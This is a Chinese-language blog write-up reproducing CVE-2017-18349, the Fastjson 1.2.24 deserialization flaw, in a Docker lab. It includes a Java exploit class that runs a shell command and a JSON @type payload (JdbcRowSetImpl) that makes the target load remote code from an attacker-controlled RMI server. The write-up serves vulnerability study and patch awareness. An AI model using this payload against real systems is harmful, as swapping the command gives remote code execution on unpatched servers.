漏洞简介
CVE-2017-18349是Fastjson 1.2.24版本中的一个反序列化漏洞,该漏洞可能导致远程代码执行(RCE)。Fastjson是一种用于处理JSON数据的Java库,该漏洞允许hacker通过构造恶意的JSON数据来执行任意代码。
漏洞原理
fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
影响版本为 fastjson < 1.2.25
漏洞复现
首先进入fastjson 1.2.24的docker环境,使用java -version
查看一下java的版本为1.8.0_102。因为java环境为102,没有com.sun
.jndi.rmi.object.trustURLCodebase
的限制,可以使用com.sun.rowset.JdbcRowSetImpl
利用链结合JNDI注入执行远程命令
exp:需要编译成class字节码文件,放在服务器上供靶机远程调用
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:
访问漏洞链接,抓包改包。
修改请求方式为POST,Content-Type: application/json
data:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.255.128:9999/#evilclass",
"autoCommit":true
}
}
进入容器查看是否执行成功(exp在tmp目录下创建一个test文件)。
docker exec -it 容器id bash
漏洞修复
安装最新版本或打上官方补丁
标签:Fastjson,fastjson,java,sun,远程,漏洞,18349,CVE,2017 From: https://blog.51cto.com/u_15854462/7151134